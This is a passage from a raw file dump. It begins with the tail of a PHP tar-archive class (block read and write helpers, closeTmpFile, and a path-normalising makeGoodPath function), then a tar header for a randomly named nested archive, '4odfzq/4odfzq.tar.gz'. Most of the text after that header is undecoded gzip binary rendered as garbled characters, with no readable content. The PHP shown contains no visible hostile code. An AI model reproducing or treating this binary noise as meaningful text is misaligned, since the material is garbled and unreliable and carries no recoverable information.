			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
4odfzq/4odfzq.tar.gz000064400000617273000000000000010272 0ustar00��@��0�:Z�[�U#�dC��H@1;�,2H�{U���Yg�Z��uU�{�V붮�����gd������}��V�<w�{��{ι瞇aR�+�#+u�Z�k(�O�0��dҘt:�����g2	��=�<�V����?���r�j�?_��εYfկ�Y-��Q��\�2ZE�Yk�D2��Z������2��p��6��,�)��V��"Ө�2��l��:�Mf ���O����i�L���FE3(��<���'��lT�ܝ���KH��U����B���Bwr�����b2�u�Efә��=?^�ӵ�3	J�h�Z�Q�Զ��zW�F�Cdv��d�U��>�x�*86��7itF�,S�ox�Yf�:L%H��
 Ia2��T%F�VRJ�V��+e.k�O ��Z�����'��eV%�TN[1�TV!CӋ�	V�dhm6�5��\�B�Bi��*T�H��PLV)u`��d�O%~�%j�^Yj-N�/&�
$[��8z@;�,h/��j�CjC�l�g�)U�H�Qg�3t�XBq�Q�P��6�����J�լ��`�^fSY�d8�m%Z�F�m��ŮBr�`�%�
�%7ٴX%4�f�h�*�p|J��+
��`�㍺�6�&��i6$�f2��2L��d�6��1�VJ�:�*��7�`7*M��
�^�*�Ja+Q�~���4;��N�����s�B������Ӫ�ft=uK��C<Vk8���pЕp��:c��(�fs��\.�Yu�p0�Qp����wυ�~�8�(@���`��cE�Pe��+���I.�B�4W �
�t��i6Yl����80Փ˶�	�<�&��U�J�5@19�W�����(W�z=���f�R�"v2[��6`�8�
2y0h�ȌV��"�嫂˙����_�lQ\&;�j�2#X�&�ܦ"ش:+A���,.B(x�[�`!�]aI��~
�WX�����B��#�TğA�s�}G$#?�)2�B���Hтa�\i&��c8�G�j���HI�	�A��$! ��
���
~A��\V������ּ^`���<�)Jw��0�߂��#��&#����so�x��_�_����Z$}i��B0)��Z��ƒ��1���墋�����J�W6���b[��M��R���Z^	��EeT��`��*�
�Km:�
,c�#Y�Cxp�	)������!?�<�	��#HŶX�7<8�H�`J�ʳr����`>�c>�[��_���3���1<�hB��q?��z6w�#��u
Xe���1<X�Y� �
�a# ��/��I���;T7_�K@J����jdj0�p�EW�J 0�z�Y�Rྂ��>��ժC�
�* ��xC�|G��cT8i�S½���WB�	
��N0�Ѻ&�Y��:�l���7�̈�?�	���d�a�"��1�'<ؽ��$�sxp~�E���g�n�x�,���	��y؈�G~�M��*����I115ע2��+���_�z�RJ$�	��b��aaq~=/EԞ��;�',��y�,�+��2É;�G���-�{�k�ٴ�m���

)p��9BQ�{��x����1�I#�zޫ��l�Y��Ȭ+.=#��?Hv!���@�����W�d"J���KI
�+���6�P �`I�a��Hz$����’�X���*�e���8 �W�*�5�� W�R��)�%HXP2ɲA��T��k$%w��S>@�R+@Y	�.0�
I8��&ݪ	�'���fZ5��b	�8�TU���4P��n�t��ݠ��-��mak2�@�x:��ZU;�%{u/K "z9O�p
�* O�,��������B����[	�ŴB�����]$���]4NR���t6����
:�����L�ڨ~�v���I$$$"�6�3��Vٷ_2*%ʱ6
��@V��!�*,$�+�x��S���9�N#���
�<�A����uU]�־�
#<�ň�$dhhE�U56/�x%�����(HK
T����ʇ�K�|�Y�0�2��d���p� 3)`z�'�=K�<O�R����V5$�76f�������Ψ6�qꭾ�`:�B�o��>J ��T����J��a��s#�nRrr���"�[mDx�G���]�9
��@�bv# �N�����IAMA8GG�VaIn��@5�� ��4����Pw��K��
lɡ�(�B�N�(�(� ����
���vvl��7�LE6&��br��t4�g��֍�	!G ���"Qn	;%��+*���t�G�l�Aé�v��Y�]����p�X�h����4�� 5�V2���K�Y	h
�uhI�
�-�q��8���y��?�����$�
N0#�0��|F䣵���2�����#���p���p}�� <t����wt-��L"x���q���x�LV�:��#n��R���{c�ws`=��֨܂�J�;f鳆Q�%�l�9"5:��.��
ˇvK�Z���\�N2�D1�l�Y�Cƛ���@>�tȊ�sb���c�bZVL@16U
��
ɬ�(�+,���T��V�����n]�1`� �1$���-�g
s�%�|�0���IOܔ�T�ăB�E@R���qy���jq%��ȶ6x�x�ZTl�T������FvO
+.�WL���8h
���UYQ�޴�2��S`�-��~��`���#��F�
����0|�Bb����Ǡ�QB���BII(���A� �B��b���W�8-ܻCQ�mR�f�����	�/�O�)����B��:���FĔku�bxUlT_�e�ބ@<ƒp,l_�X�$Dߢ��-F�w*,��	σ�pg��f>D,"�`��f%x�*��B�e="ZC� ��3	��Ǔ��@���z�(��`= t(dFO~8�y��n"z���*=>Y`k*=�3P�"��5�P\��T{T�G��nɇ�C�q�j1xr��& �.��n��eޅ�AF�0�,�/�-���Jnb��ǩ�0e�"���g�6B�ȇ�h/:��(1�
�*w#P�)
%����~DIF&M�2�
e88+]H?�!�=�ؾ�\�I�S=�X�P�1�,@�@�Jc��,��">*�*�T2��V�J�I_��dx2|��ڏ/0�ǀ�<�h>�R�],0����z�R}��q�rf�Y���
�]8�Xf49��E�XQt6C��q�T��\�
��t"Tm#�^�JY
-�IY,�}�YXsV��H#�V[H��B{�n1��i��zC������Q��0��M�ɢW~�UF�{C����P���!j�Xo�B"�ހR�^[��X�7�[<��mآ11>b�Y�D��c�ݝ@�c�5���H�@[*|`�|��'|�b�<`m(

�6�X	I1�����6���\��@5�+��@�	�z@�3ӯ6ݿ0�?���v���W;ʿp�����4�����v�g��
�>�N`�1-�uos�*Y�� M����lyh5LQ�۱������i1C� }�&�>xd
\���.���
���-�m1/"���֝�aꖶUN��f
P"H�����|���:��d��c	2�
����`̈́`�7hr�/>���
S�2�0�l���K�U�"�~c�֧�h��K%3Լ֧�IU��V�ψ�!�kV��#�r�	X��2jl�X�2x�!ʛ.A����ۭ��0�u
0��F�
9Oѻ@��{$���u�6�UF/X�`�	�"�Y�2�Wm�hL��
'�9��dң�ZU��=t��EHS@��ifE%a��j��dU!���:UhXUY#b�!S#)�A�l�4�ݨ��p��;"D�Mf�[c�ʇ�|ZÇ����Vb�E����:�,֠@�3Y����VU��0����	~QF�iסH��*����]0
�r�M�IɨP�]��O�'�MEr�ia��nF���%�(�O@��.��j�
���1�*M���i]lXX�RM�T����"�E���k�hE4D0�}�kq�V8?(�R�W+�����
E�o\�H�R�9!�kCCgR**�}��o���ItF�1��H��D�(�)�O�l�2j+��LlOQ�)���Ȫ�q���hQ@>t!���pg���FϮ�.�K�ӌ(��: �g���Tb4�`�m���-pC6���І��� ��;?��ܧ}lZݡ�!4�{��Ɉ��������7�
A�QY�k�X��u0���yAq�,n��X��}�=�<ٞ�v{H�ItB�]=�G'�L>�Ig�˭6��h8�N�:fA�ч��=�
��.,��[t��z�ꑍ��B�z
��e�i���q;2�Eȉ	��mq�|�7^�W�M_��fE�A*n�q�i�H4EM7�-<>�� �
��l`������%Z)HJ���NN����1&��xAkQ������FкQ� ��$�6�=yI��m2�,K$�X&нՄ>�!�t*<Ī����`B0����T�'�T�ѓ(�F&�Q@�
���"��#C!Hd=@�	!�$"��F�-E���dD"�L��d�1��:p��;�M�>/K�����#%P�sDž�	�MkR&��L�!`��A��(�X-�)/:C33��FD��dDa'+M
;��#a�֢b�W��Ğ�V�?)4,�[
�ʈ���!���.���7�S܄_��T�>��)��?x��F�17�O�W[��-5���7~
������F�ݞc�-ē�*�9�=�-� ?[�Ʉ�$���Lw"*��	�Ā��Yk��a{$�_���#��,<�
%��cgl � 쁘��$/A|��mV�{Ж��$fFQ9mpӒ�~��VV�Ыd��O�ꇼ7�t�d������āzi�h����x��=p�*��Ut>�E^=�	�9n_�y���yJ9z^eAfhH�]��jF�P�e��P�q�=͟q���U*"{Fi��~��-V[��>%�x2��ݦfq��NMS�� ��F.ܫ��X�_��#�b���!�H���l���K!��bZ�Y�
�-%`�M
����Lqx�h�ۊz&���q~"KH��n0'x5�W	K"c��]xgbg�A��w�]�G�'��04���V�̪�gd.WCr�$|��{�#���nw�pڮ�cE0�I�$���&<Ԅ
���W3IC�*�있G(6��`L�w7���
+nL��Dh�t@|�Z�HD���*	�[�4� )���7�ʦ��a��O�� D~��MB�<��Xo�6�Q*���-�a��<��H�9<N��Н�&��&@q��R�h75@�WZ=T�ɀ�b	"U������M#p
�B����I���Q�*����8T)[��p��z)���[��5E��
�a�!:�
%�~�	^D�)$n+��q���|!G "p����l^>GJ�Mw�S�&@TJ�})��#8�BJ��Z�{c��!л���K1t~/��V���q�gA79��@��B1��f�>���q�~^@A�B�zA���Я
ê� ����kB�6�^wa�rJ�|0��9|QBQ��'��Eg
F�z^V7�b�`lM6��lVY�M�mi�9Gc��+���C��$#B�c����떣G�!@]P�U���p���r#�����
�F�ϢY(Ô�U�։&c�^�(K�,��b"1��Y���6���1E�_!��d�o�I1��[%���pÈ��-������Kp�`�nȅ$	��E�%�KrUb$��q�5`��&fт��W��a~��V���[���Q�(��dh�D/t�2QEI
�ըVw�a;'�p8D&�S����G��rc�CeJij�N��5��,��9$ƒ-�`�������9C��
X�jl�'���;����;�b�~|>��.���R�Sʊ��׹����f����pN؝�#�L��~��n�h�8��E팳s7�����x�#]M^�����[S��J�r�j
bh�о♸W���U����'�7�����w�<vp8��vd�o܃U�?�q�Ƕ�`��[ Q�-dh��0��2tM��e�_-��<�4��b$1	ԫj,s�Ԓ�dPu��p�&9�f�-���@6�< +*�:�L�X����b5`6���_Caқ,�9؄�P�
3�c(=�e��*�Rf@���=����W�l:+3Z#��֔�Re���
r6�guIK���F�*Bg����{��Ȕ:x
��l���ب��Cߎx�h�"a6��f�����3 ��}h0�8e�H�l�ġC�'���t��
��ZN�<%�Wv^
;��xy1"����L�s��,2��(Ȋ��A�(M�FV�c�rJMd��&��*-$�#*J`+e�i"���]ȡ��-t��Lu1�T���
�攋�
2KO��*�ˣTF�"#�&�蘥�%O���h�d���[ɢ	)�F'��.�/+jtU��!�ZT��ZI�E�sK+�%ʨ|+�ed����lf���60U�RYAtN�FGkH�����q�L�$&�L�.U�l)$[N�Ta GS�R���/�2e�z�U�B/���2C��˦�f�1�|OKQQ��z�����f+S��l2Y-����(#�Nq�c�b%#SYh*��,#��R�ɤ(:7S#4J���4��ZhcŤ��;x$r���`P��$���1ظTK����(˔q��R�E/r0mi��HWr��y&gvF�����S5�r]��L2(JyY,P��e�ڗ���${t��`�PLJ�Y�S�.�T[2�2+�J�����*#�IK�6гy�FF9O�gGeW&���k�I���d��SYZ�d����sf:-�UF���Y�l��Qj2���33�j��\$W_[�%,c����R�5:��f3J�,V��T@�	$o+Ò�pl�bS��,�s�t�)�2���(���Hsj��rL9���d�(���T��m��.),�2��L�r�eL0��v^��2�c�sTQ�����:�I�/c����.��9��R%G,Q��+�F]R��gs���L=���I
��|�X+��;]�,X������L�4��4O"��uV~��2UR*6�K�l'Eg˶���l�H�G�y��4�Cg��
�|�ɤ5r��,+]HV�me�K�%��i5�2�$��̫(te��ƬJATL�ٙ�����pD�<�(�Bh�ȸi�\�\L�f*�2�@O��())/9UB-䓅r;˙�K��x�j=-��\���PM*MJW��5"��ن|QV�b��I��Qf���v�W$df�Ց�̷����S�Q�r�]�|�"��Z.����jM[�`�$�����$HU83%�L��39��L�F�����x�g�:�d�f�=BfP�EM�%
�JQ&79Q�=>C��@�Xb�͒oS@��&���xt��)�� N @ᙌ������z�*b�r/-�1�̡�ڭ�����w	�B�)�0�Z�"1^/���j�>��`Ƞ�)i��l&���z��k>���)@�%z_\hOd21�#����*���
^��p���[��#U��a3��UaIZ���-H外�
rD9qT��Hu��N�ҪZ�S�txp��q���%#G(���p���I;�M@��|�%Fz���C\:�
��ɿ>�y�~҈������0r&�o5ˌ���M'zq�w�a���d��6��y�O��>�Y���H���.r�T&��zb\����H��!!o��W<T�2��2(�W�Ǿ8S�Q�
��C�a��lVY�n"�	HS,|JV��4� �u\��T�`�}0l^A5��W7��G'v#���y�Pk`��^��A d��[,�W���u�ϡ

�V�º���w�
��*�;�?�3�����A	��%$A-�z�9���hi�Չԍs����"�k�R9}�$�m�?�I�L�	Y�L���a�A�j$8�����f��X�(A�P��Gm��	���V�A�X)
���>A.�Y��,�z��U(�h���#����*'�6q7�H�H;4�xy�
d`1�익{��
�F�wm�t��~7���	�X�:�wL���{Rzϸ}�a��8XjG#_�[�(/(E��~�M
�Ek3�/�'�7_��O�؆�YX�*t��XM�]Ex��4汭��i��$$�T��A+A��Ǥ5o��a��zz�A6��|L��
,�@"� LXנ"�L���S0���+�V���bY����Ab�EfT��e�r��f2B �M�0����~D�'àw��z�Tr��'��3b%��$��H��ΙLN��� �Ž�xFM���b�A�Z�}�y�zO)�-N�S*U��gD�}� �J�vw�o���˜^�/M�S-��c�E�F���H�WBy���ML嫺q��)��P��<�X�D��F�~a�M(%���P/�D�>�%����լr�AQ��	��E���.�U�gf�?X�Y����?��{r!��l�gj8�>2�l���K��[4&w'p����	>�F���E���h�w�%����xQ�<�[/!�?vt�
�]�*v2�	�(�R�_,�Hb_b�A���_�d	�De	�|τ7�q��(�'���A�O��\s$p�"W� /�x�
��©�Uɔ�0��J����`ٝ�.�
�����̥/!ءSڴ	J������UaUȀ�D�� �"����H.��8Fr����qn��������"$A�q��[�pRDqxȪ`�Q�1H��>��p����8~���.����	ɂlod�@dl,�8f�Y���r���Yu0��'�&2�?�<�`
躋�'���öV�P�K[�N���%�.��<7N� Ox`4�#z�wd+���
aV:�;�ʟT�����"Fay�q�T'k`k*��JAi�k@UB]yE�¼c|�oU-��zE��Ă�wL8 u�J�	�����l�0�/�S��,�����n�a��%<w�=%��m"$F�
q8��w\a�٪hb�'�|���5�p��Bm��	a��O;�f��G`}�E�P��F��Z��뽁U״�>�:�����������c��]�5ś�a*�WW��U��h?k�{
#w)�$��a�Y�Ψ�Hx�d���)6,�SX�E��P9L��$�57��0�㏴��8����'4���5b]��.��ݧ��>��j��9��l��b���U7�X�LЂ�_�S�zu��7K��M{�y�v�
�ڊx�`<Y|Q�[�!_���$�L��TO(L�:t`	X9x�'�L�&�s��	�����p=!�~	���L������s�+�%�o�����^1$�l�]jVi���|�1Pv�-7�}�������
^B�;��
����[APX�	4�D��u��[��*�/s7�2Zn���WY�<�!9	0Q��h���7����w���ಁRK@#¡��"��k�@`� ��	���H�������/�t��^�M@T}��?�tGt��`��
U\%�茥R(L
%��{`�,��7�f"�M6��N�b��j��5��\�b�cL��V�Tj�
�i29E�$�]��л��h�h~ �$�p�N��f��@4 ����cpY@�0c���K�@W.N̷���r���1`-���&Q����N�Y��|��=�
f�C�<��P��N�i�o*��H��40-Lf�
�N��/���5���t_��T���t:	004:M���������rR�"n��xy��W�pn��.�Sj\<��|�x��
�>UN�I�`��G���"�/�<g\^�H]�S��5��a�)�42�S���K�բK(
.�5�"�3)��Wl��aHj�|B��`��bZ0z����T�&J2�.S���}kؠ��͚
%v
E�n@tJ�@	�#��;It�>�a���,/>���y`)~{�')�J<
S�fʠ������*��+����h�ՇT�wcFݮ�0�q�P�:�+6(���H5�ch`g���aB��-�E�e���V��S�ZҔ@G½�)�����8�M=n,̼����V�X�	~l�S'55*�U� �p�@+Fڴ^U���tF�G���P��y����aE�������F��kzrM��&ta�$'�Dac��M�����п��w���=�m�"��*�yp*ИHn�9�z#��,���c�܄���yT���HxX�t�4�ϻ(������]�^mQjjtj�-�^�� (�D^N�B�DJZTZ�A�8)�0�XD�q���g�F`Sƪu�-B���}��HY�i�4�>)1`6SLv� "��D�`����@�1�VG�H�cN��!PU�j�ŪM
�է��nsG�D�!�*���ֿ����j�����čY�"�h�����Oͣ&���c(r:�$��5�|~*7#�%�I���|6;�Tf��\sZ)�N��:��c����s�i�):;�L()���	M ʖ��� ?����it윜RSJv��cM嚲hluW������ꬖhF��T#cŐ�|���0׮�����J����vS����]��UqT)�N�(��ʳ�q9Y�l6������U�����\-)7�a�Z�v����Ka��E�
vv�+�� ��
�$��V$S�DZ^
����$G��e�o:�SR�"v��ʓ�x��4����6�Ir���$e��y�r}
G̖��"�D�k��Y��b�9���q��!+���kl���L1M�e�R������b�5� ]����lA4h��u�l�P
꦳�
Kh�sr�` 9�e�1�4yJ
ՙLU�SeYYa�3�&�����v�� Me%��d
����"Hdh4��U6#�b��ᛢh�z�-��J'�2u{.�� Y�>ANEm� �RH��&vt�)�F.��5S�ƮQ�U<������g�r�21�� e0X��m�(��
˘|m���)�(̅j5��Г�b2�J*d�ȹj*����r\������R��ZIe�+*��Lm:O�4�d�y
��PR\<�� �Y�b�gP9B���1�*+�����Y�|=�"��acYI�l�2�mM7�؅vO�UJ�4�K�W�!b3*lvnV������֤j�u�E�Lb��*M&X)�2�P��f����,k%9#�E����eINN'���S*�����deer
٩�)�٢�<mrJ�A�����d�\)y:]z�������a+���W&R�v����ZJu���ڔ���,�+9%O��bkDa�L�N����R��� )dpi�dP*3%5S�,p��~�ƙo2�s���57F��2�Tg��̥̉�p�WpN=7ݕ/���ĩv���n��4yҌ<���*0eV�),y�\��fR���i�\��E�c)��$�2�#Oe۝V~�U���H���h���vY��r��ܑjg�ɩt�	5�������p53Y���.�DK�YMFJ��4e�e�ڴ��LW���c�dZL�"O")�:�T-���[�1�D<gr������lWf�!�]fp��DB�-3�b`
��2k��J&�J�XF�4��J�4�`qqˌ*Q*35�,���e�YƂL�B&b䓸�|��\�5�99�f�ToH�L�rd�6��$��'F���*�%*�R@5���4SUt�BQ�AS(�U�-$-Ů�P��}Lr!�Za�t�Q�\����k��N�֘�l����SOO�"IDY)�a�:�y~e�Ő���2�b��ܦ3�ҤY)fq�^(��L�,C��ܢ*���,j!O�%���K�T�M�--�3���m�r35/��-ϧ��9Q��r��$���L)YR�^��g;(1��t�UL.�ȖhRh�R+]c�X��)U#*�dZ2��B'-�b���h]%��\�a�U򳲩����|i)+���:I�N�Hc4fe�
Y�,�VT���ӣ$��);-�fY�^���l�r��R!�٣e*@@j��j���1����0E�!e�s��tc~�^D�)��N)?Wd�ZtQ岨|�In�(�c�fR��ha�E�̖G�U*9�H�:cxdj>��e&�3R�4�V��,�fͮ�jXN��)�t(y,��%NK-T��yQb�� ��!
�J�#N/͗䖦�s��4z�\!+��H�U�D*3?�l��C�L-J�e;Y��J�O5�Q
�'��g4�Tr*�Bm�%�Ti&��\G���3�v�̬7�m�]+61db�XlVZ)2�QF�S-v�=J!0G�s�(Q�MjtD�:mV�\��Zs
%�6��f���iF�Vi��
�R��Bʏ�i|����*QKS˭�-�����R�9�(Y��ҞK���d��<�RR�Lͥ��ڴ��,ЬQ�#�P��4���`�V�L!���$��*w���
� K�+v�Ң(JCt��a��hQd;��4G��
#�A1��������#%�J9�Ig�W�-��<
)Y]h�bJy̴B�R�E���Jm�SA�)e���l��A���Tbr6��Bw��<�_aԓ��>�K�)#�-dJ^�Q���,u�dj�ӓ�hR��ŕ�rr+-r�Z梩�ɥY)�<�8���e���-�4�+ǕgfЙ�Ҝ2Ӝ
���^Z@a+�LC:�Agdg2
2�bUz.��ХidQz!�P-�s��t�(J�)���6cv>�iqQ��B�\�,���RaT.Kb���T�NY��[�N��+��
Lk��̊V�d0�t]
����<��P�2r�4�Sf�i����-�jsr2E�<��<Y���抔����1%C�i����-�K��YZf�LS.*,Fg����eeNQ���S�Ԧ��e<gvj~��PY�J3�i�t�+WT�-��I��y�&�H�C���F�AJsE9�Z9��,���\,�>O�)��ɳ��R`�y�r�8�d��LV�R/��ȕcV�Tf1�*��
W��f��3++�d��c�
�,�Y"�]eA�,ƒnbZK�N�Қ�p�e1�����[N�2�Ţ�
�����-���jш��]&^�-/�尉S�ijU��J�*ET
��$�D]�nXIiC�E+��1bu��D�(է3�.IJ�R�e{�(Wj�4D��@�a�SͲr=IV�j`�i�rJ�2���C�Ɣ�yL5?�o��DK�^�C���XR�:��J�Υ
�Ĺ�|�>�m�)m���hA��]�+�D��ѕt�(:��f��b>�@.��m���\znTTf���Ѓ�B5G^�as:r�l2%�눢Q���T]�+Kc$�(�"��$��fz��E��5Tq��2���;Ʋ(�"�NV�RE��䌶�p2(�ZF�Bɣ�SY2��&2T���=J�r�(Jy9�ha	b��T�����g
+����,J���ԮJ�K��RcԺh&==Un�H����:͔+'��8"-������"�"�07����r�H�"q���PΊ*��˕9&ٜ+�T�F�]f���h�]e�QU49=J`W�Y������T[�*GDWV��Qr�:-�\�N�~�S�TZ�ѴB�1���E;�1�T[�R�J��Ź�
�_ZAψ)wd�4�����H�Jrs�fI-uĤ&KH`����J�c���#2�r鼘(�˘NJ)�t�N�ґ�v{�SR��(GŨs(�R�I�v�9dy�KOVY�QNC�%Oqj�H�BMe�8�"���9
�
��^a�a�H7�e"�J�V�XD�RG�9
�22��f�V�ӳ+yJ+���%e�;���e��Q)1f&r�?S��J@Hq�w�h�2c2T�J��/�S+R؎�l�^���ʁ���\f�X"͚�'HMS���I���dP��'`��j�F��Q!���I:��b�1X*u�<+�Yɡp��bE�N���4�J���t���a����l	+=9U)*�UY_,P��i91Nq��i���4�|%*�\.��s�`�&����H9B�-�$.���]�saf*M�2�]z�5�O�2-i`!pؒ<�����Ns�j���4����3ey�t;�V�Ѳ����+���5t��EW��ٴ4�K�ZƉq��J��hyjq~����6vYK��)Rrhz�Q�,�K*�F���f�KI��N���L�ʅ�@����i�r�C(��Ҕ��ݤ��F�*�AVzL�J�Qe�r
�&k�T��H�y¼<QA�]�q�P�v(�:[�%��$:I=�2�L,r�8�R�X*���E<����j�p��ij�AA�R�#�+�����Aet�E�\�+�^IJ+(Ȉ��r,����Yy9��u�J$IAFA����%O�r��VH���3���{�T��B�9)�l
%��S��l����9ҙj+:�h�ڵ������ٲ3H,�R_A�q��4���"q�i"��&�w �	�>MT&��RR��<�jW��-俶���B�k��-俶���B�k��-俶���B�k��-俶��[�H�,�p`��dVf��Ȣ�d]��D��:�Je6�k��RLZA�.3U�q*�@�q�\NeY�N"I�]ٮtg6��L�&�\1@E��(�1դ�qƤJtb+#J�k,#;H11�t�&5�\M"���UJRs)l2SZ�jg�T���R[�6��L�Ĩ����@��
�\,U%Nz+��W�Ͷ��f.��)4e�řLJ�*5+ߢH�����HF����l��d��j+��F����D)�6���dQ3G�����O+��\u͑+��3*�)���,̡��4��Yȷ��
�l)�!��+-z:Ic�9��5[[ �P����ҜB
�i�G�*��,ߠ*M��آrejF��ɊI�Me���bk�S&��mFn-CCNc�3]������d����r�����	��y�r�6=�[�8�j#)��Ƥ�H6Y@W��|a�8��nr�1�v~�3++��PW�d�+Y@S4�2��Y�R��4+�+ɫ4���
�����ۥ�J���T�2
��$�\��h�z�����2�(�ц��L��#-wp(�&5���f�-����.�H�Q�*՘4�Cl���X\N]iZە�v���,���+��H�(����0�*��BK��Gg����P��|�Sa��P�K��4���^T����V�m0Ĩ9��&)2e�b�j.K��ִ2��C��+�v9xwʕ��Π4��4Q��T+M�({��Z�R�Lk��ft�݊o��xɅ	���L6��-4��欜2�ELj"UX(���(��2�^j6p����|�i(
�d>K�p�R��.^z��*ͤ�S�J%�dr��!�Jq��YF�[��G�ِ.e��^�,�P��$>�erТ��V��ϓ��4�.7p29=S�T2�j�U&�i�QZ��d#��Q�4+ƥ��J�=��n����)�11bSFU�3�rc�6��r
I��2�:ա�e��r�T��s+�t���Sȅ�9���n�r���0��V]�Ya0[m2��R��۳�D1�"
���9�e.O�!Y��2KE��1�R�E��R�5V��2Z�dU�\1<[>�ܕo�2H&�FbYɎ|3���+��Tu:_Ff�Hi
u��4��r��f�Ϊ�_���a��J>�Z�PH,�2�j�h��Vr����,�f��6��j4�[�)����L��@�IKfZ�RrLf9%�&"�S�e��̨,f*����bqEi6�-ͮ����0��,�=
�3m��ԑ��,Ĝ�^(H+���4)EIKsI󒓥�1:�09S4!�8S/)0
�>Y��L'-?+�_j�*���Y���N��Z��ef�i�V��_��q�Uj4bC���2[�yf�*+�cK��$iu��.�fТ�����d��d�s�S��!-���RRĢ2>�f���2�Bs�A�HMKN��SL.c�4YO5r3K�L�>�M�1++1r��*�dI��B��PL|��Ԓ��i�U$�䬔yvL�c+��ˍ�����t*[�n�J��<=]��H�%�R)��c�E��Q�.��(-��dW�Y�\e��.�29��SX��˪4��*e�6	7����Gt1S�B�[�/�d1S$\n�a{TJ��`UXT*#O>� s��Ա�4������>xX<�ޤ(��B�w�!�`6����8/N�7�l�z����'�*qOHJ�U-�F��J3��a}�8{�~�5��Z�ŏ^}�_鱠��^�A]ЫY�W5�P5�N�%���p|L>
�օ��
ӑd֚�A/� �LR��q�פ�˹�r���Ow�V�-)�sX�F�{f�G�}o��Oh ��0(�OjV�Do�����6��[z�i�@���@I�G&"h�0tم��/a�j*`�@�Y�r�ޡ�<at
V
8�j�(ɧ)X�'�-��c(n0~�
��E0��C�^�İp"���m
Ay�0�6�H�@�ۡ�J��L��-�e)%^)�"_�@.NBX��5��O�䛱����?���K�PY�0VF �*�	�O��:o�w']eT��3� #�1��	,�ފc�a?�������0�W-Ho�خڸl��l�O��j>l�m��J�XP6�2Z/`P��8�c�y>��O�5�'��2>��'��?���?�P)�n����d�p�5Z�%C߻�`���^{��n�?�
�=*�g�4 ����A��_U�D�'��!�o��w�O��Q��u�V��(:T7��V	�j�����.4Qj����¢X�`���?����_�2>1�p9��{�?�iM  �����U�.&��>��[�|�?(����GH��*?�3�_��x��,�/"ҿD( #��������/1�
�9� y��������� ( �?�5@��~�\��Z��,�+��5��0���)A�"z�)4v�J�֏�B�V���>��'C�bl*�h���߈v��ذ@���">�*��ީ�*a�(���ȯF�D�F/�kߐ�X-�F䶼�ů��z���{�։�Z��G2)��5얖A;��0V0!�S�#�2Ј̪B����ɰ]l�$���F���H�"��k����5�`#)��
��{�}��,��_̌KJ�G%Y�(C��P��c�V	|��
�E��
�H���)��/S*�Y�~t�+�
���G~i�{�X��^7X/��ٰ_U*��4��IE�B~y��`#v�h�8��OD-0v!X>nrׁ���k�4����YH=�d�=H�
�썅3kU��H��AhH��ݡ�}�}�E�u�L&�	�
?KE��#��A���+�F֢b"6W���M"��,��=-�,��7g2#Q���/�ra0"�L��L1	��a0�e^�4�	����c_l"��/�Ǔ�r��� ���|A��@@�b��	D&�7�]* ��Z�[7�	��F�CXX�A^LZD7'�hXd�v�/x>M�s\�L���n�꙾���{�����x������}�g�neM�ĄA7[P�=��S���U�$b!���Py�m�`�Z~��=1DmD�;��:��QrG�U��U�j�>P"��Q��Р��W�`|h�P�<����P��*x�@�`|T�I�Fѣ���'�����&��j�НؗMz%�u@�B�U7�o�W�s/���R4LG�=��>$���6��U)�%�GM R��J@P)����J�J$�A����?���a��O�U�VSq
�o���L��K����Qנ��-���^�i��^�b�B����-����՘ B�lA����ϢD��wT�a�*�O����
R�`� ?���ƭ9
�L�ĩ
�Za>B�~�3���95����������ro��Gwt��U��������XkΰQf
��`R�8�p�ӓ*��M��2a�|+��w�
��{���ب�'xjhUf�Ɖ�eס���;?r�?`���
u�80AP��/ea����i��	���|���t�(s����d�^�����UG7)�����U��
<3я�eN@��83���Yτ>���q$����{�y�Q���kM�q@G_�}���L�	��hjQa���u�D^"�9���A�b@��r,�j&��04�>�ؐU�"�ի�{ȗ�U����/��3��L�5�#@�#�w����~���þk���k�L�lD+�e��I�~�1�w�uU.a�xQ�[��[��q$?,A�}|�SmI��]���T:�2�~Ȱ-�Bq���`.�ʍj�7U�W����(�U�[	8��cT��p���>~D�u(ȇ����MB�\�Ghg

���@1��? �a��ߝTb'�Z�h��w�Pd��洟�S�i����:��#����}
P��o�'�P��ـ$p{l�|�ڜ�Cm2���kav�g�ƂZ��6jB&�H��X�3{�ج&��(F�`�hYT�P��6�u�B��"
�	K#e�45��u����B�@�U�	����z��*�(����4�ɐ�OOwSn�tQ��
�G%D��2kB3����VW�8q����=��������W��O��M5��pL����]�@��+�$�c�Fd��{�a� ���	TU>��p����o!(��_x�����*cD?;a%�}��g�i*k<鐢�T�!CKbu�,��,Ě�HwY�قA�؍�p�S�-`���ґzD������vY`�&�٢�ZC!���ti8B�ؗ�`��{�M�$؎^��l��&x�����*L��Z��,���5�k���=�p���� ϲ%�	�X�>���:�X��r@��Fe��	D>6828ܗ�����
��N�I�/�b�pRbsB
����v��H���1F���dVl3H�U��G���)��#ȶ°eUm<0�|KF$(��L�����T?���8�?�S=��ML��.��2o	�V��7��=j}�B��T��� `V�W�7N]�z�B�8:�C�K�pN��x�\�oB2�2
